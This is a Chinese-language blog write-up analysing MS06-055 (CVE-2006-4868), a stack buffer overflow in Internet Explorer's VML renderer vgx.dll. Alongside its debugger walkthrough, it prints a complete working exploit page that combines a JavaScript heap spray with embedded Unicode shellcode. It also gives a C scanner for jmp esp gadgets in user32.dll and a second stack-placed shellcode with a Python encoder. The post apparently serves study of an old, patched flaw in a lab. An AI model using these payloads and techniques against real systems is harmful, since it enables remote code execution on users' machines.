MS06-055(CVE-2006-4868)漏洞分析

来源:互联网 发布:windows xp图片 编辑:程序博客网 时间:2024/06/05 01:11

1.VML

MS06-055指的是IE在解析VML标记语言时存在基于栈的缓冲区溢出漏洞。

 

矢量标记语言(VML,VectorMarkup Language):IE从5.0开始在HTML中支持这种语言。在Web应用中如果需要绘制的图形较简单,就可用VML,用文本方式告诉客户端一些关键的绘图坐标,浏览器按照VML语言格式解析这些坐标之后就能绘制出精确的图形。

如:

<html xmlns:v="urn:schemas-microsoft-com:vml"><head><title>failwest</title><style><!--v\:* { behavior: url(#default#VML); }--></style></head><body><v:rect style="width:44pt;height:44pt" fillcolor="black"><v:fill method="QQQQ" /></v:rect></body></html>

这个HTML显示的效果为:


2.MS06-055

MS06-055漏洞位于IE的核心组件vgx.dll中,该文件在C:\Program Files\CommonFiles\Microsoft Shared\VGX\目录下,存在漏洞的函数是SHADETYPE_TEXT::Text(ushortconst *,int),该函数中会把前面HTML中的<v:fillmethod=”QQQQ”>中method属性的值这个字符串在未经长度限制的情况下复制到栈中,详情:https://technet.microsoft.com/zh-cn/library/security/ms06-055.aspx

3.实验环境

Windows 2000 SP4虚拟机

vgx.dll版本:5.0.3014.1003

文件大小:1753160字节

4.工具

IDA Pro、OllyDbg:配置好IDA和OllyDbg的符号文件地址(关于调试器的符号设置:http://www.360doc.com/content/15/0705/16/12129652_482800639.shtml)后,可用OllyDbg附加到IE上,同时用IDA打开vgx.dll,两者结合分析。OllyDbg动态调试程序,可查看寄存器、栈、内存等实时数据,查看输入的数据流向;IDA有强大的静态反汇编功能,且能通过F5查看函数的C语言形式伪代码,两者结合分析,更容易弄清楚函数的参数、功能等信息。

5.漏洞分析

这个版本的vgx.dll漏洞函数SHADETYPE_TEXT::Text的VA为0x659D7B46。

5.1 vgx._SHADETYPE_TEXT::Text

IDA反汇编与相应伪码:


IDA中的伪代码:


OllyDbg中的_IE5_SHADETYPE_TEXT::Text:


(然而在IDA中跟入后,伪码显示又没有参数,毕竟是伪码,不可全信…)

没有向前跟踪,根据其中的没写注释那几条指令:

mov ecx, dword ptr [ebp+0c]test ecx, ecx…mov dword ptr [ebp-20c], ecx

以及传入的字符串为”1234”,该值又为4来看,该函数第二个参数为传入的字符串长度(Unicode字符数)。

 

此时栈顶附近为:


5.2 vgx._IE5_SHADETYPE_TEXT::TOKENS::Ptok函数:


0x659D7B08-0x659D7B31即为拷贝字符串的代码块,由最后几句汇编可知,拷贝的字符串长度以_IE5_SHADETYPE_TEXT::Text的第二个参数(即统计的字符串长度为限制)。而没有以该函数申请的栈空间(sub esp,210)为限制。

5.3 传入长字符串覆盖返回地址,劫持进程

测试该函数第二个参数是否始终等于传入的字符串长度:

拷贝的字符串目的地址为0x0006923C

_IE5_SHADETYPE_TEXT::Text的EBP为0x00069440,则返回地址为0x00069444

覆盖返回地址需要0x20C个字节,则在网页文件中用一个0x106字节的普通ASCII码形式的字符串,就能在程序中产生0x20C字节的Unicode字符串,就能覆盖返回地址。

先在OD中按F9让程序自己运行,用Python生产该字符串:


然后将文件中的字符串填入<v:rect method=”” />中,保存html文件并刷新IE:

OD中断程序在_IE5_SHADETYPE_TEXT::Text处,当再次运行到有漏洞的子函数_IE5_SHADETYPE_TEXT::TOKENS::PtoK时:


字符串长度没被处理,


寄存器也和刚才一样,在函数_IE5_SHADETYPE_TEXT::Text的返回处设断点,F9运行:


此时返回地址0x00069444已被Unicode形式的’A’字符串覆盖,F8运行,跳转到了0x00410041:


这里程序还能运行,但是逻辑已经乱了。继续跟踪会发现后来调用了异常处理函数等,最后弹出错误框。


6.Heap Spray

6.1 Heap Spray简介:

“针对浏览器的攻击中,常常会结合使用堆和栈协同利用的漏洞。…页面中的JavaScript可以申请堆内存,因此,把shellcode通过JavaScript布置在堆中成为可能。”

“在使用Heap Spray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置。用JavaScript申请大量内存,并用包含着0x90和shellcode的’内存片‘覆盖这些内存。”

“通常JavaScript会从内存地址向高址分配内存,因此申请的内存超过200MB(200MB=200*1024*1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcodede内存片覆盖。只要内存片中的0x90能够命中0x0C0C0C0C,shellcode最终就能得到执行。

申请内存片的JavaScript:

var nop=unescape(“%u9090%u9090”); /*“该函数的工作原理是这样的:通过找到形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。”*/ while(nop.length<=0x100000/2) //产生1MB大小充满0x90的数据块{nop+=nop;}nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2); //ubstring() 方法用于提取字符串中介于两个指定下标之间的字符。var slide=new Array();for(var i=0;i<200; i++) //200个1MB的数据块{slide[i]=nop+shellcode;}

JavaScript会为申请到的内存填上一些额外的信息(保存堆块信息的32字节malloc header,表示字符串长度的4字节sting length),为了保证一个内存片恰好1M(2的20次方字节),即512KB个Unicode字符,因此先用substring函数在nop数据块中减去malloc header需占用32/2个Unicode数、stringlength占用的4/2个Unicode字符数、shellcode占用的Unicode字符数shellcode.length(因为后面shellcode会被写成Unicode的形式,所以这里不用除以2)、2/2个Unicode结束符。

“为什么1MB作为内存片单位?在HeapSpray时,内存片相对于shellcode和额外的内存信息来说应该足够大”,这样更可能是0x90位于0x0C0C0C0C地址处。否则进程被劫持跳转过来时可能位于某些重要数据(如shellcode)中,使漏洞利用失败。


6.2 exploit

然后构造书上的exploit.html:

书上method后面填的&#x0c0c…&#x0c0c,根据对反汇编代码的分析,进入vgx._IE5_SHADETYPE_TEXT::TOKENS::Ptok后并没有保存EBP建立新的栈帧,且目标缓冲区在vgx._IE5_SHADETYPE_TEXT::TOKENS::Ptok的返回地址的高地址处,所以应该覆盖_IE5_SHADETYPE_TEXT::Text的返回地址以劫持进程,需要0x20c个字节才能覆盖返回地址,,因此method后面填充的字符串为0x106个&#x0c0c,这样刚好覆盖返回地址。

exploit.html:

<html xmlns:v="urn:schemas-microsoft-com:vml"><head><title>failwest</title><style><!--v\:* { behavior: url(#default#VML); }--></style></head><script language="javascript">var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";var nop="\u9090\u9090";while (nop.length<= 0x100000/2){nop+=nop;}nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );var slide = new Array();for (var i=0; i<200; i++){slide[i] = nop + shellcode;}</script><body><v:rect style="width:444pt;height:444pt" fillcolor="black"><v:fill method=""/> //这里要填0x106个&#x0c0c; </v:rect></body></html>

运行exploit.html:


可见,漏洞成功利用。

7.栈中的shellcode——另一种利用方式

换一种利用方式,把shellcode放在栈中,由于位于比返回地址低的地址的缓冲区可能被修改,把需要运行的shellcode放在返回地址的高地址处,利用jmp esp指令作为跳板,用书上之前栈溢出用的搜索跳板的程序:

#include<Windows.h>#include<stdio.h>#define DLL_NAME "user32.dll"int main(){BYTE *ptr;int position, address;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibraryA(DLL_NAME);if (!handle){printf(" load dll erro !");exit(0);}ptr = (BYTE *)handle;for (position = 0; !done_flag; position++){try{if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4){//0xFFE4 is the opcode of jmp espaddress = (int)ptr + position;printf("OPCODE found at 0x%x\n", address);}}catch (...){int address = (int)ptr + position;printf("END OF 0x%x\n", address); done_flag = TRUE;}}return 0;}

(或者用OD1中的插件OllyUni.dll。)搜索结果:



就用0x77df4c29这个地址。将下面这段加在字符串末尾作为shellcode,


其中MessageBoxA和ExitProcess的地址通过VC++6.0的Dependency Walker工具查到。

若要把上面的shellcode转换成&#xDB33;…这种格式,可用书上的C语言代码,或下面这段Python代码:

shellcode="\x33\xDB\x53\x68\x36\x20\x20\x20\x68\x30\x78\x33\x45\x8B\xC4\x53\x50\x50\x53\xB8\x98\x80\xE1\x77\xFF\xD0\x53\xB8\x1A\xE0\xE6\x77\xFF\xD0"us=''n=0print len(shellcode)while(n<len(shellcode)):    s=hex(ord(shellcode[n+1]))+hex(ord(shellcode[n]))[2:]+";"    us+=s.replace('0x','&#x')    n+=2f=open("VML_SC.txt",'w')f.write(us)f.close()

由于_IE5_SHADETYPE_TEXT::Text的返回地址为retn 8(__stdcall调用约定):


所以传入的字符串中,返回地址与shellcode之间,再填入8个字节的\x90。所以最终的传入字符串结构为:


填入到exploit.html的<v:fill method=””>中,运行:



0 0
原创粉丝点击